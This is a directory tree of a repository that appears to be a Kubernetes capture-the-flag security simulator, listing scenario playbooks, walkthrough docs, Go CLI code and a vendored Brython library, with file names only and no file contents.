├── .dockerignore ├── .editorconfig ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.yaml │ ├── feature_request.yaml │ └── question.yaml ├── PULL_REQUEST_TEMPLATE │ └── pull_request_template.md ├── dependabot.yml └── workflows │ ├── build.yaml │ └── release.yaml ├── .gitignore ├── .golangci.yml ├── .goreleaser.yaml ├── .trivy-config └── .trivyignore ├── CHANGELOG.md ├── CODEOWNERS ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── Dockerfile.dev ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── acceptance └── simulator_infra_test.go ├── ansible ├── playbooks │ ├── build-a-backdoor.yaml │ ├── cease-and-desist.yaml │ ├── ci-runner-ng-breakout.yaml │ ├── coastline-cluster-attack.yaml │ ├── commandeer-container.yaml │ ├── devious-developer-data-dump.yaml │ ├── identity-theft.yaml │ ├── init-cluster.yaml │ ├── pss-misconfiguration.yaml │ └── seven-seas.yaml └── roles │ ├── build-a-backdoor │ ├── files │ │ ├── challenge.txt │ │ ├── manifests │ │ │ ├── 01-kyverno-install.yaml │ │ │ ├── 02-netpol-policies.yaml │ │ │ ├── 03-nodeport-policy.yaml │ │ │ ├── 04-ingress-policies.yaml │ │ │ ├── 05-nginx-ingress-controllers.yaml │ │ │ ├── 06-scenario-resources.yaml │ │ │ └── 07-ingress.yaml │ │ └── scripts │ │ │ └── internal.sh │ └── tasks │ │ └── main.yaml │ ├── cease-and-desist │ ├── files │ │ ├── challenge.txt │ │ └── manifests │ │ │ ├── 00-namespaces.yaml │ │ │ ├── 01-crds.yaml │ │ │ ├── 02-license-server.yaml │ │ │ ├── 03-tokungfu.yaml │ │ │ ├── 04-cnp.yaml │ │ │ ├── 05-deploy-job.yaml │ │ │ └── 06-admin.yaml │ └── tasks │ │ └── main.yaml │ ├── ci-runner-ng-breakout │ ├── files │ │ ├── challenge.txt │ │ └── manifests │ │ │ └── scenario.yaml │ └── tasks │ │ └── main.yaml │ ├── cluster-network │ ├── defaults │ │ └── main.yaml │ └── tasks │ │ ├── calico.yaml │ │ ├── cilium.yaml │ │ └── weave.yaml │ ├── coastline-cluster-attack │ ├── files │ │ ├── challenge.txt │ │ └── manifests │ │ │ ├── 01-elastic-cloud-install.yaml │ │ │ ├── 02-elastic-operator.yaml │ │ │ ├── 03-es-storage-init.yaml │ │ │ ├── 04-elasticsearch-install.yaml │ │ │ ├── 05-fluentd-daemonset.yaml │ │ │ ├── 06-kyverno-install.yaml │ │ │ ├── 07-scenario.yaml │ │ │ └── 08-kyverno-container-policy.yaml │ └── tasks │ │ └── main.yaml │ ├── commandeer-container │ ├── files │ │ ├── challenge.txt │ │ └── manifests │ │ │ └── 01-scenario.yaml │ └── tasks │ │ └── main.yaml │ ├── devious-developer-data-dump │ ├── files │ │ ├── _git-repo-chatbot │ │ │ ├── .config │ │ │ │ ├── configstore │ │ │ │ │ └── update-notifier-pnpm.json │ │ │ │ └── glitch-package-manager │ │ │ ├── .env │ │ │ ├── bot.js │ │ │ ├── features │ │ │ │ ├── chat.js │ │ │ │ ├── sample_echo.js │ │ │ │ ├── sample_hears.js │ │ │ │ └── websocket_features.js │ │ │ ├── package-lock.json │ │ │ ├── package.json │ │ │ ├── public │ │ │ │ ├── client.js │ │ │ │ ├── css │ │ │ │ │ ├── embed.css │ │ │ │ │ ├── embed.css.map │ │ │ │ │ ├── styles.css │ │ │ │ │ └── styles.css.map │ │ │ │ └── index.html │ │ │ ├── readme.md │ │ │ ├── sass │ │ │ │ ├── _botkit.scss │ │ │ │ ├── _chat.scss │ │ │ │ ├── _home.scss │ │ │ │ ├── embed.scss │ │ │ │ └── styles.scss │ │ │ └── shrinkwrap.yaml │ │ ├── _git-repo-orders-processor │ │ │ ├── .github │ │ │ │ └── workflows │ │ │ │ │ └── build.yaml │ │ │ ├── CONTRIBUTING.md │ │ │ ├── Dockerfile │ │ │ ├── LICENSE │ │ │ ├── MAINTAINERS │ │ │ ├── README.md │ │ │ ├── cronjob.yaml │ │ │ ├── process-orders.py │ │ │ └── requirements.txt │ │ ├── _git-repo-test-ci │ │ │ ├── .github │ │ │ │ └── workflows │ │ │ │ │ └── build.yaml │ │ │ └── Dockerfile │ │ ├── challenge.txt │ │ ├── favicon.svg │ │ ├── home.tmpl │ │ ├── logo.png │ │ └── logo.svg │ ├── tasks │ │ └── main.yaml │ └── templates │ │ ├── manifests │ │ ├── 00-ns.yaml │ │ ├── 01-init-storage.yaml │ │ ├── 03-gitea-deploy.yaml │ │ ├── 04-zot.yaml │ │ ├── 05-ingress-deploy.yaml │ │ ├── 06-ingress-config.yaml │ │ ├── 07-db-storage.yaml │ │ ├── 08-creds.yaml │ │ ├── 08-runner-rbac.yaml │ │ └── 09-jumpbox.yaml │ │ └── scripts │ │ ├── 00-master.sh │ │ ├── 01-nodes-every.sh │ │ ├── 01-worker-1.sh │ │ ├── 02-bastion.sh │ │ ├── 02-local.sh │ │ ├── 03-master.sh │ │ ├── 03-worker-2.sh │ │ ├── 04-master.sh │ │ ├── 05-local.sh │ │ ├── 05-local_1.sh │ │ ├── 05-local_2.sh │ │ ├── 05-local_3.sh │ │ └── 05-local_4.sh │ ├── identity-theft │ ├── files │ │ ├── challenge.txt │ │ ├── manifests │ │ │ ├── 00-namespaces.yaml │ │ │ ├── 01-kyverno-install.yaml │ │ │ ├── 02-service-policy.yaml │ │ │ ├── 03-dex.yaml │ │ │ ├── 04-secretstore-pgsql.yaml │ │ │ ├── 05-yamlidator.yaml │ │ │ ├── 06-secret-store.yaml │ │ │ ├── 07-pod-checker.yaml │ │ │ ├── 08-public.yaml │ │ │ └── 09-job.yaml │ │ └── scripts │ │ │ └── master.sh │ └── tasks │ │ └── main.yaml │ ├── pss-misconfiguration │ ├── files │ │ ├── challenge.txt │ │ ├── manifests │ │ │ ├── 01-scenario.yaml │ │ │ └── 02-flag-job.yaml │ │ └── scripts │ │ │ └── master.sh │ └── tasks │ │ └── main.yaml │ ├── seven-seas │ ├── files │ │ ├── challenge.txt │ │ ├── manifests │ │ │ ├── 00-namespaces.yaml │ │ │ ├── 01-kyverno-install.yaml │ │ │ ├── 02-kyverno-policies.yaml │ │ │ ├── 04-arctic-start.yaml │ │ │ ├── 05-north-atlantic-secret.yaml │ │ │ ├── 06-south-atlantic-sidecar.yaml │ │ │ ├── 07-southern-attached.yaml │ │ │ ├── 08-indian-exposed-service.yaml │ │ │ ├── 09-south-pacific-pss.yaml │ │ │ └── 10-north-pacific-ssh.yaml │ │ └── scripts │ │ │ └── 01-worker-2.sh │ └── tasks │ │ └── main.yaml │ ├── socat │ ├── defaults │ │ └── main.yaml │ ├── tasks │ │ └── main.yaml │ └── templates │ │ └── socat.service │ └── starting-point │ ├── defaults │ └── main.yaml │ ├── tasks │ ├── challenge.yaml │ ├── pod.yaml │ └── scripts-dir.yaml │ └── templates │ └── pod-starting-point ├── cmd ├── container │ └── main.go └── simulator │ └── main.go ├── core ├── aws │ ├── amis.go │ ├── buckets.go │ └── env.go └── tools │ ├── ansible.go │ ├── packer.go │ ├── runner.go │ └── terraform.go ├── docs ├── 2023-cncf-ctf-walkthroughs │ ├── README.md │ ├── build-a-backdoor │ │ ├── README.md │ │ └── images │ │ │ ├── 1-no-website.png │ │ │ └── 2-hashjacker.png │ ├── cease-and-desist │ │ ├── README.md │ │ └── images │ │ │ ├── 1-trial-gist.png │ │ │ ├── 2-trial-gist-raw.png │ │ │ └── 3-production-gist.png │ ├── ci-runner-ng-breakout │ │ └── README.md │ ├── coastline-cluster-attack │ │ └── README.md │ ├── commandeer-container │ │ └── README.md │ ├── devious-developer-data-dump │ │ ├── README.md │ │ └── images │ │ │ ├── 1-rescue-drop-repo.png │ │ │ ├── 10-new-user.png │ │ │ ├── 11-fork.png │ │ │ ├── 12-pull-request.png │ │ │ ├── 13-actions.png │ │ │ ├── 14-pwn.png │ │ │ ├── 2-prod-image.png │ │ │ ├── 3-process-orders.png │ │ │ ├── 4-github-action.png │ │ │ ├── 5-maintainers.png │ │ │ ├── 6-commits.png │ │ │ ├── 7-secret-token.png │ │ │ ├── 8-login.png │ │ │ └── 9-gitea-api.png │ ├── identity-theft │ │ ├── README.md │ │ └── images │ │ │ ├── 1-home-page.png │ │ │ ├── 10-netcat-connection.png │ │ │ ├── 2-about-page.png │ │ │ ├── 3-valid-pod.png │ │ │ ├── 4-invalid-pod.png │ │ │ ├── 5-console.png │ │ │ ├── 6-google-search.png │ │ │ ├── 7-nodejs-test.png │ │ │ ├── 8-python-test.png │ │ │ └── 9-python-curl-connection.png │ ├── pss-misconfiguration │ │ └── README.md │ └── seven-seas │ │ ├── README.md │ │ └── images │ │ └── path-of-the-pirate.png ├── amis.md ├── aws-iam-permissions.md ├── cli.md ├── container-images.md ├── infrastructure.md ├── player-guide.md ├── scenario-development.md ├── scenarios.md ├── vision-statement-v2.md └── vision-statement.md ├── go.mod ├── go.sum ├── internal ├── cli │ ├── ami.go │ ├── bucket.go │ ├── config.go │ ├── container.go │ ├── infra.go │ ├── scenario.go │ ├── simulator.go │ └── version.go ├── config │ └── config.go ├── docker │ └── docker.go └── logging │ └── factory.go ├── packer ├── bastion.pkr.hcl ├── k8s.pkr.hcl └── scripts │ ├── common │ ├── containerd │ └── kubernetes ├── scenarios ├── build-a-backdoor │ ├── README.md │ ├── _solution │ │ ├── blocked-tests.yaml │ │ ├── hashjacker.jpg │ │ └── solution.yaml │ └── tasks.yaml ├── cease-and-desist │ ├── README.md │ ├── admin-console │ │ └── Dockerfile │ ├── reform-kube │ │ ├── Dockerfile │ │ ├── go.mod │ │ └── main.go │ ├── tasks.yaml │ └── tokungfu-server │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go ├── ci-runner-ng-breakout │ ├── solution.md │ └── tasks.yaml ├── coastline-cluster-attack │ ├── README.md │ ├── emydocephalus │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── main.go │ │ └── static │ │ │ ├── Lib │ │ │ ├── VFS_import.py │ │ │ ├── __future__.py │ │ │ ├── _codecs.py │ │ │ ├── _codecs_jp.py │ │ │ ├── _collections.py │ │ │ ├── _collections_abc.py │ │ │ ├── _compat_pickle.py │ │ │ ├── _compression.py │ │ │ ├── _contextvars.py │ │ │ ├── _csv.py │ │ │ ├── _dummy_thread.py │ │ │ ├── _frozen_importlib.py │ │ │ ├── _functools.py │ │ │ ├── _imp.py │ │ │ ├── _io.py │ │ │ ├── _markupbase.py │ │ │ ├── _multibytecodec.py │ │ │ ├── _operator.py │ │ │ ├── _py_abc.py │ │ │ ├── _pydecimal.py │ │ │ ├── _queue.py │ │ │ ├── _signal.py │ │ │ ├── _socket.py │ │ │ ├── _sre.py │ │ │ ├── _struct.py │ │ │ ├── _sysconfigdata.py │ │ │ ├── _sysconfigdata_0_brython_.py │ │ │ ├── _testcapi.py │ │ │ ├── _thread.py │ │ │ ├── _threading_local.py │ │ │ ├── _weakref.py │ │ │ ├── _weakrefset.py │ │ │ ├── abc.py │ │ │ ├── antigravity.py │ │ │ ├── argparse.py │ │ │ ├── ast.py │ │ │ ├── asyncio.py │ │ │ ├── atexit.py │ │ │ ├── base64.py │ │ │ ├── bdb.py │ │ │ ├── binascii.py │ │ │ ├── bisect.py │ │ │ ├── browser │ │ │ │ ├── aio.py │ │ │ │ ├── ajax.py │ │ │ │ ├── highlight.py │ │ │ │ ├── idbcache.py │ │ │ │ ├── indexed_db.py │ │ │ │ ├── local_storage.py │ │ │ │ ├── markdown.py │ │ │ │ ├── object_storage.py │ │ │ │ ├── session_storage.py │ │ │ │ ├── svg.py │ │ │ │ ├── template.py │ │ │ │ ├── timer.py │ │ │ │ ├── ui.py │ │ │ │ ├── webcomponent.py │ │ │ │ ├── websocket.py │ │ │ │ ├── widgets │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── dialog.py │ │ │ │ │ └── menu.py │ │ │ │ └── worker.py │ │ │ ├── calendar.py │ │ │ ├── cmath.py │ │ │ ├── cmd.py │ │ │ ├── code.py │ │ │ ├── codecs.py │ │ │ ├── codeop.py │ │ │ ├── collections │ │ │ │ ├── __init__.py │ │ │ │ └── abc.py │ │ │ ├── colorsys.py │ │ │ ├── concurrent │ │ │ │ ├── __init__.py │ │ │ │ └── futures │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── _base.py │ │ │ │ │ ├── process.py │ │ │ │ │ ├── thread.py │ │ │ │ │ └── webworker.py │ │ │ ├── configparser.py │ │ │ ├── contextlib.py │ │ │ ├── contextvars.py │ │ │ ├── copy.py │ │ │ ├── copyreg.py │ │ │ ├── csv.py │ │ │ ├── dataclasses.py │ │ │ ├── datetime.py │ │ │ ├── decimal.py │ │ │ ├── difflib.py │ │ │ ├── doctest.py │ │ │ ├── email │ │ │ │ ├── __init__.py │ │ │ │ ├── _encoded_words.py │ │ │ │ ├── _header_value_parser.py │ │ │ │ ├── _parseaddr.py │ │ │ │ ├── _policybase.py │ │ │ │ ├── architecture.rst │ │ │ │ ├── base64mime.py │ │ │ │ ├── charset.py │ │ │ │ ├── contentmanager.py │ │ │ │ ├── encoders.py │ │ │ │ ├── errors.py │ │ │ │ ├── feedparser.py │ │ │ │ ├── generator.py │ │ │ │ ├── header.py │ │ │ │ ├── headerregistry.py │ │ │ │ ├── iterators.py │ │ │ │ ├── message.py │ │ │ │ ├── mime │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── application.py │ │ │ │ │ ├── audio.py │ │ │ │ │ ├── base.py │ │ │ │ │ ├── image.py │ │ │ │ │ ├── message.py │ │ │ │ │ ├── multipart.py │ │ │ │ │ ├── nonmultipart.py │ │ │ │ │ └── text.py │ │ │ │ ├── parser.py │ │ │ │ ├── policy.py │ │ │ │ ├── quoprimime.py │ │ │ │ └── utils.py │ │ │ ├── encodings │ │ │ │ ├── __init__.py │ │ │ │ ├── aliases.py │ │ │ │ ├── ascii.py │ │ │ │ ├── base64_codec.py │ │ │ │ ├── big5.py │ │ │ │ ├── big5hkscs.py │ │ │ │ ├── bz2_codec.py │ │ │ │ ├── charmap.py │ │ │ │ ├── cp037.py │ │ │ │ ├── cp1006.py │ │ │ │ ├── cp1026.py │ │ │ │ ├── cp1125.py │ │ │ │ ├── cp1140.py │ │ │ │ ├── cp1250.py │ │ │ │ ├── cp1251.py │ │ │ │ ├── cp1252.py │ │ │ │ ├── cp1253.py │ │ │ │ ├── cp1254.py │ │ │ │ ├── cp1255.py │ │ │ │ ├── cp1256.py │ │ │ │ ├── cp1257.py │ │ │ │ ├── cp1258.py │ │ │ │ ├── cp273.py │ │ │ │ ├── cp424.py │ │ │ │ ├── cp437.py │ │ │ │ ├── cp500.py │ │ │ │ ├── cp720.py │ │ │ │ ├── cp737.py │ │ │ │ ├── cp775.py │ │ │ │ ├── cp850.py │ │ │ │ ├── cp852.py │ │ │ │ ├── cp855.py │ │ │ │ ├── cp856.py │ │ │ │ ├── cp857.py │ │ │ │ ├── cp858.py │ │ │ │ ├── cp860.py │ │ │ │ ├── cp861.py │ │ │ │ ├── cp862.py │ │ │ │ ├── cp863.py │ │ │ │ ├── cp864.py │ │ │ │ ├── cp865.py │ │ │ │ ├── cp866.py │ │ │ │ ├── cp869.py │ │ │ │ ├── cp874.py │ │ │ │ ├── cp875.py │ │ │ │ ├── cp932.py │ │ │ │ ├── cp949.py │ │ │ │ ├── cp950.py │ │ │ │ ├── euc_jis_2004.py │ │ │ │ ├── euc_jisx0213.py │ │ │ │ ├── euc_jp.py │ │ │ │ ├── euc_kr.py │ │ │ │ ├── gb18030.py │ │ │ │ ├── gb2312.py │ │ │ │ ├── gbk.py │ │ │ │ ├── hex_codec.py │ │ │ │ ├── hp_roman8.py │ │ │ │ ├── hz.py │ │ │ │ ├── idna.py │ │ │ │ ├── iso2022_jp.py │ │ │ │ ├── iso2022_jp_1.py │ │ │ │ ├── iso2022_jp_2.py │ │ │ │ ├── iso2022_jp_2004.py │ │ │ │ ├── iso2022_jp_3.py │ │ │ │ ├── iso2022_jp_ext.py │ │ │ │ ├── iso2022_kr.py │ │ │ │ ├── iso8859_1.py │ │ │ │ ├── iso8859_10.py │ │ │ │ ├── iso8859_11.py │ │ │ │ ├── iso8859_13.py │ │ │ │ ├── iso8859_14.py │ │ │ │ ├── iso8859_15.py │ │ │ │ ├── iso8859_16.py │ │ │ │ ├── iso8859_2.py │ │ │ │ ├── iso8859_3.py │ │ │ │ ├── iso8859_4.py │ │ │ │ ├── iso8859_5.py │ │ │ │ ├── iso8859_6.py │ │ │ │ ├── iso8859_7.py │ │ │ │ ├── iso8859_8.py │ │ │ │ ├── iso8859_9.py │ │ │ │ ├── johab.py │ │ │ │ ├── koi8_r.py │ │ │ │ ├── koi8_t.py │ │ │ │ ├── koi8_u.py │ │ │ │ ├── kz1048.py │ │ │ │ ├── latin_1.py │ │ │ │ ├── mac_arabic.py │ │ │ │ ├── mac_centeuro.py │ │ │ │ ├── mac_croatian.py │ │ │ │ ├── mac_cyrillic.py │ │ │ │ ├── mac_farsi.py │ │ │ │ ├── mac_greek.py │ │ │ │ ├── mac_iceland.py │ │ │ │ ├── mac_latin2.py │ │ │ │ ├── mac_roman.py │ │ │ │ ├── mac_romanian.py │ │ │ │ ├── mac_turkish.py │ │ │ │ ├── mbcs.py │ │ │ │ ├── oem.py │ │ │ │ ├── palmos.py │ │ │ │ ├── ptcp154.py │ │ │ │ ├── punycode.py │ │ │ │ ├── quopri_codec.py │ │ │ │ ├── raw_unicode_escape.py │ │ │ │ ├── rot_13.py │ │ │ │ ├── shift_jis.py │ │ │ │ ├── shift_jis_2004.py │ │ │ │ ├── shift_jisx0213.py │ │ │ │ ├── tis_620.py │ │ │ │ ├── undefined.py │ │ │ │ ├── unicode_escape.py │ │ │ │ ├── utf_16.py │ │ │ │ ├── utf_16_be.py │ │ │ │ ├── utf_16_le.py │ │ │ │ ├── utf_32.py │ │ │ │ ├── utf_32_be.py │ │ │ │ ├── utf_32_le.py │ │ │ │ ├── utf_7.py │ │ │ │ ├── utf_8.py │ │ │ │ ├── utf_8_sig.py │ │ │ │ ├── uu_codec.py │ │ │ │ └── zlib_codec.py │ │ │ ├── enum.py │ │ │ ├── errno.py │ │ │ ├── external_import.py │ │ │ ├── faulthandler.py │ │ │ ├── fnmatch.py │ │ │ ├── formatter.py │ │ │ ├── fractions.py │ │ │ ├── functools.py │ │ │ ├── gc.py │ │ │ ├── genericpath.py │ │ │ ├── getopt.py │ │ │ ├── getpass.py │ │ │ ├── gettext.py │ │ │ ├── glob.py │ │ │ ├── gzip.py │ │ │ ├── heapq.py │ │ │ ├── hmac.py │ │ │ ├── html │ │ │ │ ├── __init__.py │ │ │ │ ├── entities.py │ │ │ │ └── parser.py │ │ │ ├── http │ │ │ │ ├── __init__.py │ │ │ │ ├── client.py │ │ │ │ └── cookies.py │ │ │ ├── imp.py │ │ │ ├── importlib │ │ │ │ ├── __init__.py │ │ │ │ ├── _abc.py │ │ │ │ ├── _bootstrap.py │ │ │ │ ├── _bootstrap_external.py │ │ │ │ ├── _common.py │ │ │ │ ├── abc.py │ │ │ │ ├── machinery.py │ │ │ │ ├── metadata.py │ │ │ │ ├── resources.py │ │ │ │ └── util.py │ │ │ ├── inspect.py │ │ │ ├── interpreter.py │ │ │ ├── io.py │ │ │ ├── ipaddress.py │ │ │ ├── itertools.py │ │ │ ├── json │ │ │ │ ├── __init__.py │ │ │ │ └── encoder.py │ │ │ ├── keyword.py │ │ │ ├── linecache.py │ │ │ ├── locale.py │ │ │ ├── logging │ │ │ │ ├── __init__.py │ │ │ │ ├── brython_handlers.py │ │ │ │ ├── config.py │ │ │ │ └── handlers.py │ │ │ ├── mimetypes.py │ │ │ ├── multiprocessing │ │ │ │ ├── __init__.py │ │ │ │ ├── connection.py │ │ │ │ ├── dummy │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── connection.py │ │ │ │ ├── pool.py │ │ │ │ ├── process.py │ │ │ │ └── util.py │ │ │ ├── nntplib.py │ │ │ ├── ntpath.py │ │ │ ├── numbers.py │ │ │ ├── opcode.py │ │ │ ├── operator.py │ │ │ ├── optparse.py │ │ │ ├── os.py │ │ │ ├── pathlib.py │ │ │ ├── pdb.py │ │ │ ├── pickle.py │ │ │ ├── pkgutil.py │ │ │ ├── platform.py │ │ │ ├── posixpath.py │ │ │ ├── pprint.py │ │ │ ├── profile.py │ │ │ ├── pwd.py │ │ │ ├── py_compile.py │ │ │ ├── pydoc.py │ │ │ ├── pydoc_data │ │ │ │ ├── __init__.py │ │ │ │ ├── _pydoc.css │ │ │ │ └── topics.py │ │ │ ├── queue.py │ │ │ ├── quopri.py │ │ │ ├── random.py │ │ │ ├── re.py │ │ │ ├── re1.py │ │ │ ├── reprlib.py │ │ │ ├── secrets.py │ │ │ ├── select.py │ │ │ ├── selectors.py │ │ │ ├── shlex.py │ │ │ ├── shutil.py │ │ │ ├── signal.py │ │ │ ├── site-packages │ │ │ │ ├── __future__.py │ │ │ │ ├── docs.py │ │ │ │ ├── foobar │ │ │ │ │ ├── Bar.py │ │ │ │ │ ├── Foo.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── header.py │ │ │ │ ├── simpleaio │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── coroutines.py │ │ │ │ │ ├── events.py │ │ │ │ │ ├── futures.py │ │ │ │ │ ├── helpers.py │ │ │ │ │ ├── http.py │ │ │ │ │ └── tasks.py │ │ │ │ ├── test_sp.py │ │ │ │ └── ui │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── dialog.py │ │ │ │ │ ├── menu.py │ │ │ │ │ ├── progressbar.py │ │ │ │ │ ├── slider.py │ │ │ │ │ └── widget.py │ │ │ ├── site.py │ │ │ ├── socket.py │ │ │ ├── sre_compile.py │ │ │ ├── sre_constants.py │ │ │ ├── sre_parse.py │ │ │ ├── stat.py │ │ │ ├── statistics.py │ │ │ ├── string.py │ │ │ ├── stringprep.py │ │ │ ├── struct.py │ │ │ ├── subprocess.py │ │ │ ├── symtable.py │ │ │ ├── sys.py │ │ │ ├── sysconfig.py │ │ │ ├── tabnanny.py │ │ │ ├── tarfile.py │ │ │ ├── tb.py │ │ │ ├── tempfile.py │ │ │ ├── test │ │ │ │ ├── Sine-1000Hz-300ms.aif │ │ │ │ ├── ___simplified_test_int.py │ │ │ │ ├── __init__.py │ │ │ │ ├── __main__.py │ │ │ │ ├── ann_module.py │ │ │ │ ├── ann_module2.py │ │ │ │ ├── ann_module3.py │ │ │ │ ├── audiodata │ │ │ │ │ ├── pluck-alaw.aifc │ │ │ │ │ ├── pluck-pcm16.aiff │ │ │ │ │ ├── pluck-pcm16.au │ │ │ │ │ ├── pluck-pcm16.wav │ │ │ │ │ ├── pluck-pcm24.aiff │ │ │ │ │ ├── pluck-pcm24.wav │ │ │ │ │ ├── pluck-pcm32.aiff │ │ │ │ │ ├── pluck-pcm32.au │ │ │ │ │ ├── pluck-pcm32.wav │ │ │ │ │ ├── pluck-pcm8.aiff │ │ │ │ │ ├── pluck-pcm8.au │ │ │ │ │ ├── pluck-pcm8.wav │ │ │ │ │ ├── pluck-ulaw.aifc │ │ │ │ │ └── pluck-ulaw.au │ │ │ │ ├── audiotest.au │ │ │ │ ├── audiotests.py │ │ │ │ ├── autotest.py │ │ │ │ ├── bad_coding.py │ │ │ │ ├── bad_coding2.py │ │ │ │ ├── badcert.pem │ │ │ │ ├── badkey.pem │ │ │ │ ├── badsyntax_3131.py │ │ │ │ ├── badsyntax_future3.py │ │ │ │ ├── badsyntax_future4.py │ │ │ │ ├── badsyntax_future5.py │ │ │ │ ├── badsyntax_future6.py │ │ │ │ ├── badsyntax_future7.py │ │ │ │ ├── badsyntax_future8.py │ │ │ │ ├── badsyntax_future9.py │ │ │ │ ├── badsyntax_pep3120.py │ │ │ │ ├── buffer_tests.py │ │ │ │ ├── capath │ │ │ │ │ ├── 4e1295a3.0 │ │ │ │ │ ├── 5ed36f99.0 │ │ │ │ │ ├── 6e88d7b8.0 │ │ │ │ │ └── 99d0fa06.0 │ │ │ │ ├── cfgparser.1 │ │ │ │ ├── cfgparser.2 │ │ │ │ ├── cfgparser.3 │ │ │ │ ├── check_soundcard.vbs │ │ │ │ ├── cjkencodings │ │ │ │ │ ├── big5-utf8.txt │ │ │ │ │ ├── big5.txt │ │ │ │ │ ├── big5hkscs-utf8.txt │ │ │ │ │ ├── big5hkscs.txt │ │ │ │ │ ├── cp949-utf8.txt │ │ │ │ │ ├── cp949.txt │ │ │ │ │ ├── euc_jisx0213-utf8.txt │ │ │ │ │ ├── euc_jisx0213.txt │ │ │ │ │ ├── euc_jp-utf8.txt │ │ │ │ │ ├── euc_jp.txt │ │ │ │ │ ├── euc_kr-utf8.txt │ │ │ │ │ ├── euc_kr.txt │ │ │ │ │ ├── gb18030-utf8.txt │ │ │ │ │ ├── gb18030.txt │ │ │ │ │ ├── gb2312-utf8.txt │ │ │ │ │ ├── gb2312.txt │ │ │ │ │ ├── gbk-utf8.txt │ │ │ │ │ ├── gbk.txt │ │ │ │ │ ├── hz-utf8.txt │ │ │ │ │ ├── hz.txt │ │ │ │ │ ├── iso2022_jp-utf8.txt │ │ │ │ │ ├── iso2022_jp.txt │ │ │ │ │ ├── iso2022_kr-utf8.txt │ │ │ │ │ ├── iso2022_kr.txt │ │ │ │ │ ├── johab-utf8.txt │ │ │ │ │ ├── johab.txt │ │ │ │ │ ├── shift_jis-utf8.txt │ │ │ │ │ ├── shift_jis.txt │ │ │ │ │ ├── shift_jisx0213-utf8.txt │ │ │ │ │ └── shift_jisx0213.txt │ │ │ │ ├── cmath_testcases.txt │ │ │ │ ├── crashers │ │ │ │ │ ├── README │ │ │ │ │ ├── bogus_code_obj.py │ │ │ │ │ ├── gc_inspection.py │ │ │ │ │ ├── infinite_loop_re.py │ │ │ │ │ ├── mutation_inside_cyclegc.py │ │ │ │ │ ├── recursive_call.py │ │ │ │ │ ├── trace_at_recursion_limit.py │ │ │ │ │ └── underlying_dict.py │ │ │ │ ├── curses_tests.py │ │ │ │ ├── data │ │ │ │ │ └── README │ │ │ │ ├── datetimetester.py │ │ │ │ ├── decimaltestdata │ │ │ │ │ ├── abs.decTest │ │ │ │ │ ├── add.decTest │ │ │ │ │ ├── and.decTest │ │ │ │ │ ├── base.decTest │ │ │ │ │ ├── clamp.decTest │ │ │ │ │ ├── class.decTest │ │ │ │ │ ├── compare.decTest │ │ │ │ │ ├── comparetotal.decTest │ │ │ │ │ ├── comparetotmag.decTest │ │ │ │ │ ├── copy.decTest │ │ │ │ │ ├── copyabs.decTest │ │ │ │ │ ├── copynegate.decTest │ │ │ │ │ ├── copysign.decTest │ │ │ │ │ ├── ddAbs.decTest │ │ │ │ │ ├── ddAdd.decTest │ │ │ │ │ ├── ddAnd.decTest │ │ │ │ │ ├── ddBase.decTest │ │ │ │ │ ├── ddCanonical.decTest │ │ │ │ │ ├── ddClass.decTest │ │ │ │ │ ├── ddCompare.decTest │ │ │ │ │ ├── ddCompareSig.decTest │ │ │ │ │ ├── ddCompareTotal.decTest │ │ │ │ │ ├── ddCompareTotalMag.decTest │ │ │ │ │ ├── ddCopy.decTest │ │ │ │ │ ├── ddCopyAbs.decTest │ │ │ │ │ ├── ddCopyNegate.decTest │ │ │ │ │ ├── ddCopySign.decTest │ │ │ │ │ ├── ddDivide.decTest │ │ │ │ │ ├── ddDivideInt.decTest │ │ │ │ │ ├── ddEncode.decTest │ │ │ │ │ ├── ddFMA.decTest │ │ │ │ │ ├── ddInvert.decTest │ │ │ │ │ ├── ddLogB.decTest │ │ │ │ │ ├── ddMax.decTest │ │ │ │ │ ├── ddMaxMag.decTest │ │ │ │ │ ├── ddMin.decTest │ │ │ │ │ ├── ddMinMag.decTest │ │ │ │ │ ├── ddMinus.decTest │ │ │ │ │ ├── ddMultiply.decTest │ │ │ │ │ ├── ddNextMinus.decTest │ │ │ │ │ ├── ddNextPlus.decTest │ │ │ │ │ ├── ddNextToward.decTest │ │ │ │ │ ├── ddOr.decTest │ │ │ │ │ ├── ddPlus.decTest │ │ │ │ │ ├── ddQuantize.decTest │ │ │ │ │ ├── ddReduce.decTest │ │ │ │ │ ├── ddRemainder.decTest │ │ │ │ │ ├── ddRemainderNear.decTest │ │ │ │ │ ├── ddRotate.decTest │ │ │ │ │ ├── ddSameQuantum.decTest │ │ │ │ │ ├── ddScaleB.decTest │ │ │ │ │ ├── ddShift.decTest │ │ │ │ │ ├── ddSubtract.decTest │ │ │ │ │ ├── ddToIntegral.decTest │ │ │ │ │ ├── ddXor.decTest │ │ │ │ │ ├── decDouble.decTest │ │ │ │ │ ├── decQuad.decTest │ │ │ │ │ ├── decSingle.decTest │ │ │ │ │ ├── divide.decTest │ │ │ │ │ ├── divideint.decTest │ │ │ │ │ ├── dqAbs.decTest │ │ │ │ │ ├── dqAdd.decTest │ │ │ │ │ ├── dqAnd.decTest │ │ │ │ │ ├── dqBase.decTest │ │ │ │ │ ├── dqCanonical.decTest │ │ │ │ │ ├── dqClass.decTest │ │ │ │ │ ├── dqCompare.decTest │ │ │ │ │ ├── dqCompareSig.decTest │ │ │ │ │ ├── dqCompareTotal.decTest │ │ │ │ │ ├── dqCompareTotalMag.decTest │ │ │ │ │ ├── dqCopy.decTest │ │ │ │ │ ├── dqCopyAbs.decTest │ │ │ │ │ ├── dqCopyNegate.decTest │ │ │ │ │ ├── dqCopySign.decTest │ │ │ │ │ ├── dqDivide.decTest │ │ │ │ │ ├── dqDivideInt.decTest │ │ │ │ │ ├── dqEncode.decTest │ │ │ │ │ ├── dqFMA.decTest │ │ │ │ │ ├── dqInvert.decTest │ │ │ │ │ ├── dqLogB.decTest │ │ │ │ │ ├── dqMax.decTest │ 